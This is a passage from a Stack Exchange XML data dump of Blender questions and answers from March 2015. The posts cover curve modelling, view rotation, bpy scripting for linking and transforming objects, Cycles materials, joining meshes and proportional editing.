Tags="&lt;python&gt;&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;scripting&gt;&lt;image&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="27370" PostTypeId="2" ParentId="27366" CreationDate="2015-03-19T14:37:31.427" Score="6" Body="&lt;p&gt;Objects that are made out of tubes can be modelled with curve objects.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&gt; Curve&gt; Bezier&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;On the curve properties make the curve fill type 'full' and set the Bevel depth and resolution to increase the diameter of the tube and the smoothness of it:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qPWUd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The curve on the left is what it looks like after adding it and editing it's shape in edit mode. The curve on the right is after the above settings have been applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ONHwL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can extrude this curve and edit it similarly to how you would edit a mesh, using scaling, rotating and moving to manipulate the curve handles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If at some point you want it to be a mesh you can select the curve and choose &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt;&lt;em&gt;&gt; Mesh from Curve&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-03-19T14:43:01.690" LastActivityDate="2015-03-19T14:43:01.690" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27371" PostTypeId="1" CreationDate="2015-03-19T14:40:32.087" Score="7" ViewCount="11233" Body="&lt;p&gt;I'd like to be able to rotate my VIEW (not my model, not my camera either) around the Y-axis. This would allow me to select some vertices using a box selection. I fear it cannot be done, but I hope some one proves me wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My research so far is little promising:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://forums.cgsociety.org/archive/index.php/t-981266.html&quot; rel=&quot;noreferrer&quot;&gt;http://forums.cgsociety.org/archive/index.php/t-981266.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikibooks.org/wiki/Blender_3D:_HotKeys/3D_View/Object_Mode&quot; rel=&quot;noreferrer&quot;&gt;http://en.wikibooks.org/wiki/Blender_3D:_HotKeys/3D_View/Object_Mode&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q: How to rotate my view around the Y-axis? &lt;/p&gt;&#xA;" OwnerUserId="13264" LastActivityDate="2015-03-19T15:13:06.567" Title="Rotate view around Y-axis" Tags="&lt;3d-view&gt;&lt;editing&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="2" ClosedDate="2015-03-19T16:03:23.293" ContentLicense="CC BY-SA 3.0" />
  <row Id="27372" PostTypeId="2" ParentId="27371" CreationDate="2015-03-19T14:55:26.203" Score="2" Body="&lt;p&gt;these are the shortcuts for view orbit :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;MMB&lt;/kbd&gt;  rotate view around global Z axis &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;MMB&lt;/kbd&gt; rotate the view around the view horizontal axis &lt;/p&gt;&#xA;&#xA;&lt;p&gt;for your case :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;press &lt;kbd&gt;3&lt;/kbd&gt; to get in Right view&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;MMB&lt;/kbd&gt; to rotate around the y axis&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-19T14:55:26.203" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27373" PostTypeId="1" CreationDate="2015-03-19T14:58:16.227" Score="0" ViewCount="576" Body="&lt;p&gt;In 3DSmax (I forget the name but I'd know it if you saw it) you can define a (simple - as in TRS only) procedure that will be repeated n times. Like screw.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose I wanted to extrude and slightly scale down, extrude and slightly scale down, rather than doing it 15 times say, I could just use this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do something similar?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(If the scalar is &amp;lt; 1 then it will form a curve shape)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually it'd make more sense just to attach a cone. So this question is two fold, how may I glue faces from a different shape together, and is there a more general version of screw? (In 3dsMax is was a dialog with a table full of input boxes)&lt;/p&gt;&#xA;" OwnerUserId="13256" LastActivityDate="2015-03-19T15:43:46.517" Title="Repeating an operation (similar to screw)" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="11" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27374" PostTypeId="1" CreationDate="2015-03-19T15:09:39.080" Score="2" ViewCount="585" Body="&lt;p&gt;I'm writing a script that links certain objects from a .blend file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I do this manually I select the objects I want to link by shift-clicking on them in the browser window. They get linked to the blender scene and keep their parenting order from the original file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However when I do that via script that loops over a list of all the objects I want to link, they get linked without parenting being kept.&#xA;I cannot parent the linked objects in the scene without turning them into proxys, which change their name. I don't want to make them into proxies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the operator that links the objects from a list (tuple list):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class GetChar(bpy.types.Operator):&#xA;    bl_idname = &quot;link.char&quot;&#xA;    bl_label = &quot;Links the objects of a character to the scene&quot;&#xA;&#xA;    def execute(self, context):&#xA;&#xA;&#xA;    #   Run function that makes the list of objects to link:&#xA;        item_cb(self, context)&#xA;&#xA;    #   Looping over the objects:&#xA;        if bpy.ops.wm.link.poll():&#xA;            for obj in SCENE_PT_object_lib.obs:&#xA;                name = str(obj[0])&#xA;                # Filter objects in list&#xA;                if not name.startswith(&quot;WGT&quot;):      &#xA;                    bpy.ops.wm.link(filepath=filename, directory=directory, filename=name, link=True)&#xA;&#xA;&#xA;        return {'FINISHED'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help or suggestions would be much appreciated :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="11499" LastEditorUserId="11499" LastEditDate="2015-03-19T15:20:27.227" LastActivityDate="2015-03-19T15:20:27.227" Title="How do I use the &quot;bpy.ops.wm.link&quot; operator to link multiple files while still keeping parenting/hierarchy order?" Tags="&lt;python&gt;&lt;linked-data&gt;" AnswerCount="0" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27375" PostTypeId="2" ParentId="27371" CreationDate="2015-03-19T15:13:06.567" Score="3" Body="&lt;p&gt;Appearently, I created a duplicate of: &lt;a href=&quot;https://blender.stackexchange.com/questions/15049/how-to-roll-the-viewport&quot;&gt;How to roll the viewport?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a quick answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;use CTRL + SHIFT + SCROLLWHEEL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to  @Ray Mairlot &lt;/p&gt;&#xA;" OwnerUserId="13264" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-03-19T15:13:06.567" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27376" PostTypeId="1" AcceptedAnswerId="27515" CreationDate="2015-03-19T15:17:40.947" Score="1" ViewCount="1034" Body="&lt;p&gt;To separate an object, I use the edge split modifier in the object mode: &#xA;&lt;img src=&quot;https://i.stack.imgur.com/indwR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then I go into edit mode, put my mouse over the external face and press &lt;kbd&gt;L&lt;/kbd&gt;. This operation select all the external part and I can separate it from the rest : &lt;img src=&quot;https://i.stack.imgur.com/BadRk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However when I try to do it with a script it doesn't work because I have to manually put my mouse over the external surface... &#xA;Have you any ideas on how to seperate this object in two parts (the external part and the rest) with a python script ?&lt;/p&gt;&#xA;" OwnerUserId="12685" LastEditorUserId="241" LastEditDate="2015-03-19T15:19:20.320" LastActivityDate="2015-03-23T00:44:32.077" Title="Python script for a specific selection" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="27377" PostTypeId="2" ParentId="27373" CreationDate="2015-03-19T15:43:46.517" Score="3" Body="&lt;p&gt;You can always resort to &lt;kbd&gt;F3&lt;/kbd&gt; to view the history and repeat &lt;em&gt;extrude region and move&lt;/em&gt; alternating with &lt;em&gt;resize&lt;/em&gt;. it will always extrude the same distance and resize the same percentage relative to the size of the face that's been extruded. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;F3&lt;/kbd&gt; &gt; &lt;em&gt;extrude region and move&lt;/em&gt;, &lt;kbd&gt;F3&lt;/kbd&gt; &gt; &lt;em&gt;resize&lt;/em&gt; &lt;strong&gt;and repeat&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IrBAz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-03-19T15:43:46.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27378" PostTypeId="2" ParentId="26980" CreationDate="2015-03-19T15:57:54.370" Score="2" Body="&lt;p&gt;This is because any new scene created is automatically in Multi-texture shading mode and the other scenes you go to will adopt that setting. you need to change the menu scene's shading to GLSL even if the play scene already is. You can't play a game in two different shading modes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the .blend I made up for you, there are instructions in the text area to the right.&#xA;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/111/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=111&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="-1" LastEditDate="2017-03-14T09:29:22.580" LastActivityDate="2015-03-19T15:57:54.370" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27381" PostTypeId="2" ParentId="27274" CreationDate="2015-03-19T17:15:06.107" Score="1" Body="&lt;p&gt;the problem seems to be in the &lt;code&gt;playAction&lt;/code&gt; arguments exactly in &lt;code&gt;ipoFlags = 1&lt;/code&gt; it should be &lt;code&gt;ipoFlags = 0&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no idea why but this is what got it working at least in my test file&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-19T17:15:06.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27382" PostTypeId="1" CreationDate="2015-03-19T18:12:23.440" Score="2" ViewCount="145" Body="&lt;p&gt;I managed to delete a really neat blender file, and the only thing left is this rendered picture, which I made off the file before deleting it:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Zlh2I.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I &lt;strong&gt;REALLY&lt;/strong&gt; loved the colors, materials and lighting, and ever since I deleted the file, I have been trying to recreate the materials on the floor and cube. I managed to dig up an older auto-save file, with the right objects (without the light sources or materials) and ever since I have attempted to recreate this, now I've pulled off every material BUT the glossy purple floor! I have a vague idea that I used a Mix shader, but I simply can't make it right. What bothers me most is the reflection of the light source in the original, compared to the one I have tried:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zSnN3.jpg&quot; alt=&quot;comparison render&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;How did I pull off such a sharp edge, while still keeping some blurriness? I have no idea whatsoever.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I recreate the material for the floor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wanna see for yourself, here's where you can download the file &lt;a href=&quot;http://www.pasteall.org/blend/35112&quot; rel=&quot;nofollow noreferrer&quot;&gt;right here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13052" LastEditorUserId="2217" LastEditDate="2015-03-19T18:19:20.777" LastActivityDate="2015-03-19T19:48:39.613" Title="Create a cycles material from rendered picture" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;materials&gt;&lt;light&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27383" PostTypeId="1" AcceptedAnswerId="27386" CreationDate="2015-03-19T18:34:54.320" Score="9" ViewCount="8963" Body="&lt;p&gt;How can I join these two meshes in a proper way? I know I can &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;J&lt;/kbd&gt; to join them, but how can I do so without having overlapping faces?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lGCFJ.jpg&quot; alt=&quot;two cylinders in solid shading mode&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/kFtol.jpg&quot; alt=&quot;two cylinders in wireframe&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6351" LastEditorUserId="5426" LastEditDate="2016-03-01T18:31:07.620" LastActivityDate="2016-03-01T18:31:07.620" Title="Join two cylinders" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27384" PostTypeId="1" CreationDate="2015-03-19T18:52:20.627" Score="2" ViewCount="712" Body="&lt;p&gt;I have an animation of a mug filled with a liquid moving up then turning to spill out the liquid. The problem is, when the mug lifts, the amount of fluid within the mug decreases. The loss continues when the mug rotates. When the mug stops raising, the remaining half of the liquid flies out of the mug at high speed and appears to collide with an invisible plane even though the actual ground is much further below it. The other half stays suspended in the air within the mug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/113/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=113&quot; alt=&quot;Download the .Blend&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13269" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2016-04-08T22:03:25.210" Title="Fluid in simulation disappears when from moving container" Tags="&lt;fluid-simulation&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27385" PostTypeId="2" ParentId="27383" CreationDate="2015-03-19T19:20:27.390" Score="8" Body="&lt;p&gt;There are several ways to go about this, you can &lt;a href=&quot;https://vimeo.com/6757036&quot; rel=&quot;nofollow noreferrer&quot;&gt;eyeball it and do it with some clean cuts or use a boolean modifier etc&lt;/a&gt; but why reinvent the wheel for rather simple objects when you could be finishing another part of your scene?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to &lt;em&gt;User Prefs&lt;/em&gt; and enable the &lt;em&gt;Extra Objects&lt;/em&gt; addon and you can use the &lt;em&gt;T-Joint&lt;/em&gt; object. You can tweak the radius, divisions etc. There are also similar custom primitive types for pipe joints if you're doing some architectural stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EHVm3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2015-03-20T12:47:21.717" LastActivityDate="2015-03-20T12:47:21.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27386" PostTypeId="2" ParentId="27383" CreationDate="2015-03-19T19:20:33.790" Score="8" Body="&lt;p&gt;First off, &lt;a href=&quot;https://blender.stackexchange.com/q/14482/2217&quot;&gt;ask yourself&lt;/a&gt; if you really need those two pipes connected? In a real &lt;a href=&quot;https://blender.stackexchange.com/q/27366/2217&quot;&gt;hand truck&lt;/a&gt; those are two different pipes welded together at the joint. Joining them would actually make creating the materials and shading harder. You could just add a &lt;a href=&quot;https://blender.stackexchange.com/a/15629/2217&quot;&gt;weld&lt;/a&gt; around the joint, and you would never even know that they are separate objects (plus it would be more physically accurate).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However since you asked:&lt;br&gt;&#xA;Start off by making sure the two pipes have the same vertex count.  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Snap the end of the horizontal pipe to the center of the vertical pipe.  &lt;img src=&quot;https://i.stack.imgur.com/YCheE.png&quot; alt=&quot;first step: moving the pipes in to place&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Select the horizontal pipe, then &lt;kbd&gt;Shift&lt;/kbd&gt; select the vertical pipe. Make sure you are looking down the horizontal pipe and then &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Subdividing/Knife_Subdivide#Knife_Project&quot; rel=&quot;nofollow noreferrer&quot;&gt;knife Project&lt;/a&gt; to make the cut.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/d1r17.png&quot; alt=&quot;knife project&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Delete the new faces, &lt;kbd&gt;X&lt;/kbd&gt; &gt; &lt;em&gt;Faces&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Join the two pipes in to one object. Then switch your view so that you are looking at the side of the horizontal pipe.&lt;/li&gt;&#xA;&lt;li&gt;Snap each of the vertices from the end of the horizontal pipe to the location of the vertices in the cut made earlier.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/aP3Cw.png&quot; alt=&quot;snapping the last vertices&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Select all the vertices and then remove doubles, &lt;kbd&gt;W&lt;/kbd&gt; &gt; &lt;em&gt;Remove Doubles&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2015-03-19T20:09:14.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27387" PostTypeId="1" CreationDate="2015-03-19T19:27:28.223" Score="0" ViewCount="941" Body="&lt;p&gt;I do have my animation done. But I don`t know what I pressed and now when I press Animation, only the first slide(frame) is showed in the rendered window but there is no files on the output folder. No JPG or AVI or MPEG. Any suggestion?&lt;/p&gt;&#xA;&lt;p&gt;Thanks in advance!!&lt;/p&gt;&#xA;&lt;p&gt;Here is the screenshot&#xA;&lt;img src=&quot;https://i.stack.imgur.com/mwKdJ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The image in the left side is the result of the render after clicking over the animation button. Blender rendered the first frame and then stop.&lt;/p&gt;&#xA;" OwnerUserId="13203" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-03-20T03:47:59.223" Title="Only first slide is rendered" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="27388" PostTypeId="2" ParentId="27382" CreationDate="2015-03-19T19:35:16.593" Score="2" Body="&lt;p&gt;Something like this?&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/yTNmm.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yTNmmh.jpg&quot; alt=&quot;comparaison add!&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;Or with mix nodes&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/EjyiZ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EjyiZh.jpg&quot; alt=&quot;comparaison mix!&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;I moved your light meshes a bit to fit the ref image and also changed the background from 2 to 1 to get darker shadows.&lt;br&gt;&#xA;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/112/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=112&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-03-19T19:48:39.613" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27389" PostTypeId="1" CreationDate="2015-03-19T21:27:00.017" Score="2" ViewCount="452" Body="&lt;p&gt;I tried to follow a tutorial about Bones but I had to delete them and recreate them from my memory but now I have a problem. Please look at my photo! I've got 4 legs mirrored via &quot;modifier&quot; and 4 bone structures which I duplicated on the other side. I parented everything for a bit more overview.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I'm confused why the original legs on the right have those 4 fat orange dots, I think I need them on the other side, too! What did I do wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gvkP2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13068" LastEditorDisplayName="user12855" LastEditDate="2015-06-02T04:35:45.570" LastActivityDate="2015-06-02T04:35:45.570" Title="Why do original legs have orange dots, but mirrored ones do not?" Tags="&lt;modeling&gt;&lt;armature&gt;&lt;mirror&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27390" PostTypeId="1" AcceptedAnswerId="27549" CreationDate="2015-03-19T21:29:16.290" Score="4" ViewCount="959" Body="&lt;p&gt;I know I can set the color of the active object (when displayed as wireframe) by setting the Active Object color in Themes/3D View.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you select two objects (right click followed by shift + right-click), the second object is always a sort of orange. I could not find an option in the Themes that seemed to correspond to this &quot;second selected object&quot; color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to set this color?&lt;/p&gt;&#xA;" OwnerUserId="11518" LastEditorUserId="12" LastEditDate="2015-04-25T01:46:40.167" LastActivityDate="2015-04-25T06:08:42.867" Title="Set color of second selected object" Tags="&lt;customization&gt;&lt;theme&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27391" PostTypeId="1" AcceptedAnswerId="27393" CreationDate="2015-03-19T22:27:28.947" Score="0" ViewCount="321" Body="&lt;p&gt;I was extruding on the z axis, then attempted to extrude along the x axis. I tried to right click to cancel the z axis extrusion (unsuccessfully). Then right clicked again, to newly select the faces on the x axis to extrude (unsuccessfully). The two arrows, (x,y front view) remained were they were.  I can change the axis constraint, but I can't extrude from a new location and would like to.&lt;/p&gt;&#xA;&lt;p&gt;Thank you for any help you can offer!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZDTK6.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/115/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=115&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13271" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-03-20T01:28:54.750" Title="Cannot end extrusion along the z axis?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="22" FavoriteCount="0" ClosedDate="2015-03-19T23:28:23.140" ContentLicense="CC BY-SA 3.0" />
  <row Id="27393" PostTypeId="2" ParentId="27391" CreationDate="2015-03-19T23:27:28.727" Score="1" Body="&lt;p&gt;To cancel an axis constraint, such as the Z axis, hit the same axis key two more times and that will remove the constraint. You can then hit another axis key for another constraint.&lt;/p&gt;&#xA;" OwnerUserId="743" LastActivityDate="2015-03-19T23:27:28.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27394" PostTypeId="1" AcceptedAnswerId="27395" CreationDate="2015-03-20T00:52:22.763" Score="13" ViewCount="10346" Body="&lt;p&gt;My problem is that I &lt;strong&gt;sometimes&lt;/strong&gt; lose the ability to independently translate or otherwise transform any parts of a single mesh. If I try, for example, to just translate several faces, edges, or vertices, then the entire mesh will stretch and displace itself in order to follow the translation. Or, alternatively, if I try to translate just one face then the whole mesh will move as if I'm translating in Object Mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not really sure I know how to describe this problem properly. I don't even know how to reliably reproduce it. It seems to happen to any given mesh at random, and it doesn't stop happening to that mesh unless I delete and remake it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume that I must be doing something wrong to cause this to happen. Does anyone have any ideas? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="13273" LastEditorUserId="3078" LastEditDate="2016-06-29T15:56:33.330" LastActivityDate="2020-11-26T19:04:59.747" Title="Why can't I transform faces, edges, or vertices without transforming the whole object?" Tags="&lt;mesh&gt;&lt;transforms&gt;&lt;vertices&gt;&lt;edges&gt;&lt;faces&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="3" ClosedDate="2018-03-02T14:40:28.770" ContentLicense="CC BY-SA 3.0" />
  <row Id="27395" PostTypeId="2" ParentId="27394" CreationDate="2015-03-20T00:55:12.200" Score="24" Body="&lt;p&gt;You need to turn off proportional editing&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/EmWNt.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EmWNt.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Or use the shortcut: &lt;kbd&gt;O&lt;/kbd&gt; key.&lt;/p&gt;&#xA;&lt;p&gt;Proportional editing in action:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OFGLI.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="92768" LastEditDate="2020-11-26T19:04:59.747" LastActivityDate="2020-11-26T19:04:59.747" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="27396" PostTypeId="1" AcceptedAnswerId="27400" CreationDate="2015-03-20T02:24:33.993" Score="9" ViewCount="1786" Body="&lt;p&gt;I am wondering if following statements are true:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;active_object&lt;/code&gt; is always identical to &lt;code&gt;object&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;active_object&lt;/code&gt;(or &lt;code&gt;object&lt;/code&gt; if previous statement is true) is always the first one of &lt;code&gt;selected_objects&lt;/code&gt;. (This seems to be a false statement since if I use &lt;code&gt;bpy.ops.object.select_all(action='DESELECT')&lt;/code&gt; the &lt;code&gt;active_object&lt;/code&gt; and &lt;code&gt;object&lt;/code&gt; is not changed while &lt;code&gt;selected_objects&lt;/code&gt; is empty.)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2355" LastActivityDate="2015-03-21T03:07:02.057" Title="What's the difference among object, active_object, and selected_objects?" Tags="&lt;scripting&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="27397" PostTypeId="1" CreationDate="2015-03-20T02:41:09.110" Score="2" ViewCount="176" Body="&lt;p&gt;I'm making a simple script that adds a cube and moves it, and then I want to shift some of the faces, in order to change the cube's width height or depth. When I run it, the cube is created and moved, but altering de cube's dimensions gives an error: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;convertViewVec: called in an invalid context &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the code that's shown in the Info window when I select a face and drag it along one of the axes. I'm new to Blender and I can't figure out what's missing here..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;bpy.ops.mesh.primitive_cube_add()&#xA;bpy.ops.transform.translate(value=(0, 6.04281, 0), constraint_axis=(False, True, False), constraint_orientation='GLOBAL', mirror=False, proportional='DISABLED', proportional_edit_falloff='SMOOTH', proportional_size=1, release_confirm=True)&#xA;bpy.ops.transform.translate(value=(0, 0, -5.22667), constraint_axis=(False, False, True), constraint_orientation='GLOBAL', mirror=False, proportional='DISABLED', proportional_edit_falloff='SMOOTH', proportional_size=1, 